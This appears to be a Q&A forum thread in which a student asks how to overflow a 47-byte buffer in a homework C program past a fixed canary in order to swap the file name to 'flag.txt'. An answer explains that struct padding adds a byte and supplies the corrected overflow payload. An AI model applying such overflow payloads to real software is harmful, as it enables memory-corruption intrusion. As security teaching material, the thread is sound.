Kordo
Kordo

Reputation: 31

Exploit a buffer overflow with canary protection

I'm trying to exploit this simple program for homework:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFSIZE 1024

typedef struct {
    char flag_content[BUFSIZE];
    char guess[47];
    unsigned canary;
    char flag_file[BUFSIZE];
} st_t;

int main(){
    FILE *f = NULL;
    st_t st = {
        .flag_file = "fake_flag",
        .canary = 0x4249b876
    };

    printf("Guess the flag!\n");
    scanf("%s", st.guess);

    f = fopen(st.flag_file, "rb");
    if (f == NULL){
        printf("flag error\n");
        exit(-1);
    }

    if (fread(st.flag_content, BUFSIZE, 1, f) < 0){
        printf("flag error\n");
        exit(-1);
    }

    if (st.canary != 0x4249b876) {
        printf("canary error\n");
        exit(-1);
    }

    if (!strcmp(st.guess, st.flag_content)){
        printf("You guessed it right!\n");
    } else {
        printf("Sorry but the flag is \"%s\"\n", st.flag_content);
    }
    exit(1);
}

The purpose is to modify the st.flag_file inserting "flag.txt" instead of "fake_flag.txt" to read its content.

It's easy to find out that there is a buffer overflow, but there is also a canary, so I write this exploit as input of the scanf:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt

I found online that the hexadecimal 0x4249b876 is translated into v¸IB but when I run the code from my terminal this is the output

./mission1
Guess the flag!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv¸IBflag.txt
canary error

and doing a check with gdb I found out that the variable st.flag_file = "flag.txt" that is correct but the variable st.canary = 0x4249b8c2

I cannot understand. Why?

Upvotes: 2

Views: 2937

Answers (1)

Acorn
Acorn

Reputation: 26186

The problem you are having comes from the alignment requirements of the struct. In particular, between the guess and the canary there is extra padding that the compiler is inserting. Try to dump the entire structure and/or the addresses of the members and you will see the padding.

The end result is that you will need more than 47 bytes (A) to reach the canary, typically one more. So instead of, e.g.:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

You will need:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x76\xb8\x49\x42flag

Take note, as well, that escaping the characters for the canary might be a good idea (to avoid problems with encoding etc.) and makes it more readable (to compare against the actual canary).

Off-topic Note that:

fread(st.flag_content, BUFSIZE, 1, f) < 0

is always false since fread returns a size_t (unsigned).

Upvotes: 2

Related Questions